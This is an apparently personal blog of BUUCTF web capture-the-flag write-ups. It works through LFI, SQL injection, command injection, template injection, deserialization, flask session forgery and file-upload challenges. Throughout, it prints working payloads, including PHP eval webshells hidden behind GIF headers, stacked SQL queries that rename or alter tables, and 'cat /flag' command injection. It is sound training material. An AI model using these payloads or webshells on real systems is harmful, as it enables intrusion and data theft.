BUUCTF寒假刷题-Web

寒假横向刷题(尽量) BUUCTF 💗🧡💛💚💙💜🤎🖤🤍 题都写这一个里面了,可以先用Ctrl+F搜索,还有部分是草稿还没有整理,不过我认为的思路已经整理出来了,看不懂还请大伙见谅。有问题了很乐意效劳💨

2021.01.15

[HCTF 2018]WarmUp

进到靶机一个硕大的滑稽,查看源码有提示source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现白名单有source.php和hint.php,先去查看一下hint.php

flag not here, and flag in ffffllllaaaagggg

分析源码

  • 判断$_REQUEST['file']对象为空且为字符串
  • 执行emmm类中的checkFile方法判断是否在白名单(确保函数返回是true)
  • 文件包含

checkFile函数中字符串截取判断是否在白名单(代码17-24和26-34)所以有两种绕过方法。

  1. 第一种
file=hint.php?../../../../../ffffllllaaaagggg

字符串截取将原字符串尾部加上?再截取第一个?之前的内容。所以需要在构造payload时问号前需要是白名单里的文件。问号之后,猜测flag位置在根目录下,所以使用尽可能多的../返回上级目录。

  1. 第二种
hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

将第一种payload使用urlencode编码即可。


[强网杯 2019]随便注

根据题目尝试sql注入,单引号报错,单引号加注释无报错,说明存在sql注入,当测试输入select时返回过滤的黑名单:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这道题使用的是堆叠注入,原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

查看数据库

1';show databases;

查看当前库下的表

1';show tables;

查看两张表字段

1';show columns from words;

还有一种查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

1';desc `1919810931114514`;

找到了flag在的字段,接下来就是如何获取该字段的值。顺带一提,根据表的结构,初步判断默认查询的是word表中的字段,而flag在1919810931114514表中。

网上找到的两种方法,分别是修改表名和使用预处理语句。

  1. 使用预处理语句

因为select被过滤了,但是可以使用char函数,char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)

根据预处理语句格式构造payload

  • 创建一个sqli字符串值为查询sql语句,使用预处理语句赋值并执行。
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
  • 不使用变量
1';PREPARE sqli FROM CONCAT('s','elect',' * from `1919810931114514`');EXECUTE sqli; #
  • 还有一种
1';SET @sqli = CONCAT('s','e','l','e','c','t',' * from `1919810931114514`');PREPARE haha FROM@sqli ;EXECUTE haha; #

主要区别在于过滤的绕过方式,不要拘泥于一种方式。

  1. 修改表名

修改表名的思路是:默认查询的是word表第一个字段,所以把word表修改为其他名称,将flag所在的1919810931114514表名修改为word

网上payload

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

自己构造的payload

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) #

之后执行

1' or 1=1 #

查询表所有字段值即可。


[极客大挑战 2019]EasySQL

用户名密码,尝试万能密码。

'or 1=1 #
随便密码

一个万能密码的参考:https://www.cnblogs.com/pass-A/p/11134988.html


[极客大挑战 2019]Havefun

直接源码找到php代码。payload

?cat=dog

[SUCTF 2019]EasySQL

单引号无报错,尝试堆叠注入可以回显。

和 [强网杯 2019]随便注这道题一样查库查表查字段

1;show databases;
1;show tables;

但是执行

1;desc `Flag`;
1;show columns from Flag;

返回了"Nonono.“测试出被过滤了:desc、from、Flag。

接下来的都是抄网上的预期解也是第一次见。

比赛时源码泄露

select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

payload

1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解

*,1 

[ACTF2020 新生赛]Include

不截图了,进入靶机只有一个tips等着被点。跳转以后看url中参数

?file=flag.php

页面内容只有

Can you find out the flag?

立马想到使用php伪协议读文件内容。使用filter过滤器

?file=php://filter/convert.base64-encode/resource=flag.php

得到

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTAyNTIyNDgtMjY3NC00NDdjLWFlYWMtYjc3ZTc5YjYwMzVmfQo=

解密得到flag


[极客大挑战 2019]Secret File

查看源码,又一个背景是黑色的超链接跳转到 Archive_room.php。

查看源码SECRET跳转的是action.php。

但是跳转以后是url地址为end.php,所以中间跳过了一个页面,使用bp抓包查看。

stristr()函数返回字符串中子串第一次出现位置之后的内容,简而言之还是过滤。

同样使用php伪协议filter过滤器读取文件

?file=php://filter/convert.base64-encode/resource=flag.php
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZmZjZTAwNWYtYjEyOS00YWM1LTg3MzYtZDM3YzUwYjYxNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到网页源码,flag在其中。


[极客大挑战 2019]LoveSQL

顶端の告诫:用 sqlmap 是没有灵魂的

尝试万能密码(其实没卵用)

'or 1=1 #
任意密码

这道题是常规的sql注入,测注入点、查字段数、爆库、爆字段值、爆表。组合拳

字段数:

1' order by 3 #

爆库:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

geekuser,l0ve1ysq1

爆字段值:

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

id,username,password

爆表:

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

'1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{c4e8849c-e0e3-4e0d-b701-26a5abeec46a}'

2021.01.21

[GXYCTF2019]Ping Ping Ping

传送门


[ACTF2020 新生赛]Exec

肯定是尝试管道符

127.0.0.1|cat /flag

[护网杯 2018]easy_tornado

打开页面三个超链接

/flag.txt

/welcome.txt

hints.txt

内容分别是

flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename))

进入hints.txt注意到url地址此时为

/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

再根据hints.txt文件的内容,推断可以使用url方式访问文件,但是需要提供filehash值,加密的方法即hints.txt的内容:md5(cookie_secret+md5(filename))。flag文件的名称filename有了,接下来就是获取cookie_secret的值。

接下来触及到盲区了,获取cookie_secret是看wp。

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

获取cookie_secret的payload

/error?msg={{handler.settings}}

获得cookie_secret的值为

eb326d39-cd67-47bd-b2d3-71125996417b

根据hints.txt的url验证一下是如何加密的。

选中的蓝色部分是/hints.txt加密后的md5值。推断出filehash格式以后直接访问flag文件,payload:

/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

[极客大挑战 2019]Knife

一句话直接连。


[RoarCTF 2019]Easy Calc

一个计算器随便试一试,当输入字母时会报错。查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释

<!--I've set up WAF to ensure security.-->

php的正则表达式中并没有过滤字母的条件,所以我们输入字母被过滤是因为WAF,接下来是参考网上的wp自己的理解

可以在calc.php传参

? num=a

php会输出一个值a,说明已经绕过了WAF。这里使用的是WAF和php解析方法不一样,WAF解析到空格’ ‘会直接过滤掉,这样WAF认为传入的就是一个空值,并不会识别num,但是php解析的时候会把空格去掉,这样就能get到num的值。

接下来绕过正则就可以使用char()的方式使用ascii码转。空格被过滤但是想使用php输出可以使用var_dump()

查看根目录下文件,可以使用scandir()遍历文件夹,其中char(47)——> ‘/’ :

? num=1;var_dump(scandir(chr(47)))

找到了疑似flag文件:f1agg,使用file_get_contents()读取文件

?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Http

查看源码在"氛围"这两个字上有隐藏的跳转Secret.php。进入以后页面显示

It doesn't come from 'https://www.Sycsecret.com'

提示页面不是来自这个网址,所以在HackBar上加上Referer。之后又提示

Please use "Syclover" browser

加上User-Agent。提示

No!!! you can only read this locally!!!

加上X-Forwarded-For。HTTP X-Forwarded-For 介绍

最终的请求头:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26715
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
referer: https://www.Sycsecret.com
Connection: close

[极客大挑战 2019]PHP

源码备份在www.zip中。下载以后有五个文件

class.php

flag.php

index.js

index.php

style.css

在index.php中有一段代码

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

再结合又一个class.php,所以这道题考点应该是反序列化。

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

获取flag的代码位置是30-32行。分析这个Name对象,创建对象时可以为对象赋值,对象销毁时会判断password值是否是100,且username值是否为admin,如果两者都成立输出flag,但是__wakeup()会在反序列化时调用将username值置为guest,所以需要反序列化逃逸。这里面有反序列化讲解CVE-2016-7124漏洞复现

我使用的构造对象

<?php
class Name{
    private $username ='admin';
    private $password ='100';
}

$a = new Name;
echo serialize($a);

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

反序列化逃逸,使对象属性的数量大于原来的值,就可以绕过wakeup函数。最终payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[极客大挑战 2019]Upload

先尝试上传一个gif图片马内容为

GIF89a
<?php
@eval($_POST['a']);

页面提示过滤:

NO! HACKER! your file included ‘<?’

尝试script执行php代码

<script language="php">eval($_POST['cmd'])</script>

可以上传,文件在/upload目录下。尝试修改后缀上传,phtml上传成功,可以执行php和script代码,使用蚁剑连接。


2021.01.28

[极客大挑战 2019]BabySQL

尝试万能密码,发现报错了:1=1#’ and password=‘123’,也许是or被过滤了或者删掉了,尝试大小写无果,但是尝试双写通过了。需要注意的是爆表,爆数据库的语句中有information这个词,其中的for也会被过滤。其他过滤的词我遇到的有:union,select、from、where、and。

爆数据库(填密码):

1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #

爆表:

1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' #

爆字段值:

1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql #

[ACTF2020 新生赛]Upload

指针放在灯泡上护显示上传文件的,图片马

233.gif

GIF89a
<?php
@eval($_POST['a']);

尝试phtml是否被过滤,直接上传成功。蚁剑连接

------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="upload_file"; filename="233.phtml"
Content-Type: image/gif

GIF89a
<?php
@eval($_POST['a']);
------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryUMSByAQmR2cduL6R--

[ACTF2020 新生赛]BackupFile

Try to find out source file!

题目提示备份文件,备份文件常见后缀:

.git .svn .swp .~ .bak .bash_history

尝试index.php.bak,下载了一个备份文件:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

传一个必须为数字的参数key,使用intval()函数处理,字符串相等则输出flag。这就想到了PHP中的=====的区别。贴一段简单代码

<?php
$str = 'abc';
if(0==$str){
	echo "真";
}else{
	echo "假";
}

==在执行关系运算时,要求运算符两边的数据类型必须一致,所以等号右边的字符串被强制转换为了整型,若有一方为数字,另一方为字符串或空或null,均会先将非数字一方转化为0,再做比较。如果字符串是以数字开头的,就会截取直到遇到第一个字母。

全等于===操作过程如下:

  1. 操作符两边的数据类型如果不相同,返回false 。
  2. 操作符两边的值如果不相同,返回false 。
  3. 最后将上面2步的操作进行与操作。返回与操作的结果。

所以最终的payload:

?key=123

[HCTF 2018]admin

可以在注释里找到

思路应该是只要我们是admin登陆就可以得到flag,可以找到注册按钮,不能注册admin,那就随便注册一个进去看看。找到几个功能。

  • post。发表文章,但是没能找到在哪里打开
  • change password。改密码,尝试下能不能抓包改到admin的密码

修改密码抓到的包:

感觉并没有什么下手的地方,唯一的就是session可能和身份有关。

以下的是看网上的wp

在change password页面查看源码,发现提供了题目的源码地址

<!-- https://github.com/woadsl1234/hctf_flask/ -->

网站使用的是flask框架,具体路由表如下

@app.route('/code')		#二维码
def get_code():

@app.route('/index')		#首页
def index():

@app.route('/register', methods = ['GET', 'POST'])		#注册
def register():

@app.route('/login', methods = ['GET', 'POST'])		#登陆
def login():

@app.route('/logout')		#登出
def logout():

@app.route('/change', methods = ['GET', 'POST'])		#修改密码
def change():

@app.route('/edit', methods = ['GET', 'POST'])		#编辑信息
def edit():

解法一:flask session伪造

这个解法和前面查看请求头时发现的session有关,flask框架是通过session来判断登录的用户身份,但是这个session是通过一些字符串拼接后加密的,所以如果我们可以知道字符串和加密算法,就可以实现伪造session。

贴两篇相关文章:

Python Web之flask session&格式化字符串漏洞

客户端 session 导致的安全问题

首先需要注册一个账号登陆上去,看看请求头Cookie里的session值。

说明一下flask的session值加密格式是:SECRET_KEY +一个用户对象的字符串(就像PHP里的序列化后)。SECRET_KEY的值我们可以在源码里找到:https://github.com/woadsl1234/hctf_flask/blob/master/app/config.py中的第四行

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

可以得知SECRET_KEY值为ckj123。然后在index.html页面发现只要session[‘name’] == ‘admin’即可以得到flag。接下来就要使用到一个解密工具,需要解密出用户字符串的格式,再将用户名改为admin,加密后再去请求,我们就可以以admin的身份登陆了。

如下 P师傅 的程序解密:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

执行命令

python run.py .eJw90MGKwkAMBuBXWXL2YLvuRfAgjBaFpFRGh8lFdK1tpxOFqmwd8d131gVvIX_4SPKA7bErLzWMr92tHMC2OcD4AR97GIPVOKIU-zzDgI4bDAeP2cZhWAcSO0SzcpiuhM26R1OMYi8h4faVSZGyniYYqk8y7FgdmlzFOV1LrufCat6gxpSikRu8WzMLrNqE1CJFXYzYRMmwZ-HahmXNGTkKi7sNbUpq6aP_xcpLrthbZyfwHMD3pTtur-e2PL1PyP_IUAWKS1uZ9Si2JzP3nLGg4NA6TMjYH9bexbonXXsuJi-ukV1VvqVi4xer6X9y2kkMoLqd97tTBQO4Xcru9TlIhvD8BSJwb7A.YELi9g.D_opOsSTFKn3wKeMF1rcGksx5HA

结果

{'_fresh': True, '_id': b'a387c18c326b37e0ec3536f41dc3dfee11d86f56fd6f42d6e053875fcd7b85118f91fd1b1365dc9c2aa3d95426148ecfefeffac2adcc722c9642e2d9d9f86eb6', 'csrf_token': b'895783633ba12f15aedff2c4b355f0e9cb3158ee', 'image': b'AYHD', 'name': 'guobang', 'user_id': '10'}

然后我们需要吧name的值修改为admin。修改完成以后还需要回到原来的session格式,那么就需要用到一个加密flask的工具:flask-session-cookie-manager

这个工具也可以用来解密。我整理的使用方法如下,记得要用双引号""括起来

python flask_session_cookie_manager{2,3}.py {encode,decode}

-s “SECRET_KEY” 都需要使用 -c “Session cookie value” session的值 只有解密decode用得到 -t “Session cookie structure” cookie结构 只有encode用得

执行

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'a387c18c326b37e0ec3536f41dc3dfee11d86f56fd6f42d6e053875fcd7b85118f91fd1b1365dc9c2aa3d95426148ecfefeffac2adcc722c9642e2d9d9f86eb6', 'csrf_token': b'895783633ba12f15aedff2c4b355f0e9cb3158ee', 'image': b'AYHD', 'name': 'admin', 'user_id': '10'}"

得到

.eJw90MGKwkAMBuBXWXL2YLvdi-BBGC0KSamMDpOLuNtqO524UJWtI777zrrgLeQPH0nusDv09bmByaW_1iPYtRVM7vD2CROwGjNKcShyDOi4xVB5zLcOwyaQ2DGatcN0LWw2A5oyi72EhLtnJmXKepZgOL6TYceqagsV53QjhV4Iq0WLGlOKRmHwZs08sOoSUssUdZmxiZJhz8KNDauGc3IUljcbupTUykf_g5WXQrG3zk7hMYKvc3_YXb67-vQ6ofgjwzFQXNrKfECxA5mF55wFBcfWYULG_rD2LtYD6cZzOX1yreyP9Usqt365nv0np73EAPaVtCcYwfVc98-_QTKGxy8-U27W.YELpfA.vD1SVCAxOcwOPXc_DbwFqJT1TRg

放在请求头中,格式为

cookie: session=加密内容

解法二:Unicode欺骗

第二种方法是利用代码中的strlower()函数的使用不当。这个函数分别在注册、登陆、修改密码的地方出现三次。这个方法的思路就是unicode加密三层,在最后一层修改密码时执行函数strlower()后修改到admin的密码。过程为

ᴬᴰᴹᴵᴺ——注册后——>ADMIN—修改密码—>admin

payload

ᴬᴰᴹᴵᴺ

注册以后使用ᴬᴰᴹᴵᴺ登陆,然后修改密码时实际修改的就是admin的密码了,然后登陆admin即可。


[极客大挑战 2019]BuyFlag

网站题直接去看源码,在源码也搜索php有两个:index.php、pay.php。前者是首页,直接看后面的那个,打开就有提示

Only Cuit’s students can buy the FLAG

应该还是一道http的套娃题。查看网页的请求发现Cookie中有一个user=0,很可疑,改成user=1,有了下一个提示:输入密码,并且源码中有一段php

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

还记得php==关系运算会强制转换类型,用POST传一个password=404a,404a会被强制转换为404,密码就对上了。接下来是钱的问题,flag需要100000000块钱我们也去要传过去。如果直接传入这么长的会提示字符串过长,所以我想到了科学计数法,10e10,就是10的10次方,通过。最终的请求:

POST /pay.php HTTP/1.1
Host: 268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=10e10

[SUCTF 2019]CheckIn

知识点

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.

准备好.user.ini文件内容为自动包含图片马,因为上传会检查文件头,所以添加了一个GIF文件头伪装:

GIF89a
auto_prepend_file=233.gif

接下来上传图片马,尝试了正常上传PHP马会提示:

<? in contents!

所以使用script马执行php:

GIF89a
<script language="php">eval($_REQUEST[shell])</script>

上传成功后会提示文件路径:

Your dir uploads/852aff287f54bca0ed7757a702913e50 Your files : array(5) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “.user.ini” [3]=> string(7) “233.gif” [4]=> string(9) “index.php” }

这时候.user.ini文件已经会帮我们自动包含图片马了,所以我们只需要访问一个PHP文件即可,正好上传目录下有一个index.php文件,可以直接蚁剑连接或者POST请求system(‘cat /flag’)。


[BJDCTF2020]Easy MD5

参考:

【Jarvis OJ】Login–password=’".md5($pass,true)."

sql注入:md5($password,true)

Leet More 2010 Oh Those Admins! writeup

随便输入一些东西都没有反应,在请求头中发现了一个Hint:

select * from ‘admin’ where password=md5($pass,true)

语法

md5(string,raw)

参数描述
string必需。要计算的字符串。
raw可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串

概括理解,这里如果raw参数为true的话,这个函数的返回值是string的md5加密值进行十六进制解码的字符串。这道题我当时是直接看了源码跳过了第一层,第一层的答案其实是ffifdyop,我们来对它进行一波操作

  • 源字符串:ffifdyop

  • md5加密值:276f722736c95d99e921722cf9ed621c

  • hex解码:‘or'6É].é!r,ùíb.

最后那几个应该是不可见字符,重要的是前面一段:'or'6,这里还要说明一下,这提示应该不算严谨,真正的sql语句应该是在md5函数前后各一个'单引号。执行以后真正的sql语句为

select * from 'admin' where password=''or'6É].é!r,ùíb.‘

可以看到原理是构成一个闭合,这里还有第二个知识点,是or后面的字符串被认为是true,引用文章里的一段:

a string starting with a 1 is cast as an integer when used as a boolean.

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

自己进行的测试:

所以真正的解法是只要sql语句的格式为password=‘xxxxxxxx’ or ‘1xxxx’,即hex包含字符串"276f722731"(‘or'1),其实or后面开头只要是数字即可,1-9的hex范围为31-39。

下面这个程序是这道题开头参考列表中的第三个链接。

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

这个程序遍历数字进行md5加密,使用stripos匹配是否有'or',这个函数有一个弊病就是如果是以'or'开头的不会匹配到,并且我们需要的是or后面以数字开头都可以,所以需要稍微做一些修改,使用正则表达式由\'or\'改为'or'([1-9]+|0+[1-9]) 不过我的方法自己还没跑出来🤣,回头加个多线程试一试

(更新)

自己写了一个python程序,放在学生服务器上跑了一个下午加一个晚上,出了两个答案,好家伙从1跑到52亿:

 找到了md5(2413633098): 
 找到了md5(5207660362): 
 找到了md5(8351555222): 
 找到了md5(13095770027): 
 找到了md5(14860117901): 
 找到了md5(15724086109): 
 找到了md5(16529176061): 
 找到了md5(17428338265): 
 找到了md5(18717303578):
 找到了md5(19342380396): 
 找到了md5(23960028257): 
 找到了md5(32561902614): 
 找到了md5(38983153698): 
 找到了md5(39742292223): 
 找到了md5(44120894060): 
 找到了md5(44820604888): 
 找到了md5(45570673322): 
 找到了md5(45855250502): 
 找到了md5(53660569009): 
 找到了md5(55098175010): 
 找到了md5(59763304323): 
 找到了md5(60185044906): 
 找到了md5(68625783421): 
 找到了md5(70949326264): 
 (md5值删了,因为乱码会影响博客的搜索功能)

程序源码如下(自己写着玩,轻喷):

# codeing = utf-8

import threading
import hashlib
import re
import itertools
import time
# r'\'or\'([1-9]+|0+[1-9])'
# r'\'or\''
pattern=re.compile(r'\'or\'([1-9]+|0+[1-9])',re.I)
item = itertools.count(1)

def thrfunc():
    while 1:
        s2 = ''
        temp = str(next(item))
        s1 = hashlib.md5(temp.encode(encoding='UTF-8')).hexdigest()
        for i in range(0, len(s1), 2):
            s2 = s2 + chr(int(s1[i:i + 2], 16))
        if re.search(pattern, s2):
            print("找到了md5(" + temp + "): " + s2)


threads=[]
for i in range(10):
    t = threading.Thread(target=thrfunc)
    threads.append(t)
    t.start()

虽然不知道多整几个能用的值可以干什么,但是觉得自己写的程序跑出来答案就很爽🤣。

还有一个能用的md5值:

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

以上是第一层。其实看了源码里只验证了字符串是否等于ffifdyop我写的脚本里的值肯定通过不了

第二层可以直接在源码中看到注释。

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

简单的md5以0E开头

a=QNKCDZO&b=240610708

第三层

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这一有一些不同的是md5比较使用了===不仅比较类型还比较值。但是md5有一个:

md5([1,2,3]) == md5([4,5,6]) == NULL

所以传入两个数组,又能保证两个变量不相等,md5加密有都是NULL且类型是数组类型,注意数组里的值还是不可以一样的。

param1[]=1&param2[]=2

[ZJCTF 2019]NiZhuanSiWei

源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

先来一段PHP伪协议总结,这题的第一步是判断传入text参数并读取内容,判断内容为welcome to the zjctf,使用data://伪协议。

?text=data://text/plain,welcome to the zjctf

接下来是文件包含,有了提示useless.php肯定要读一读看看,使用php://filter伪协议。

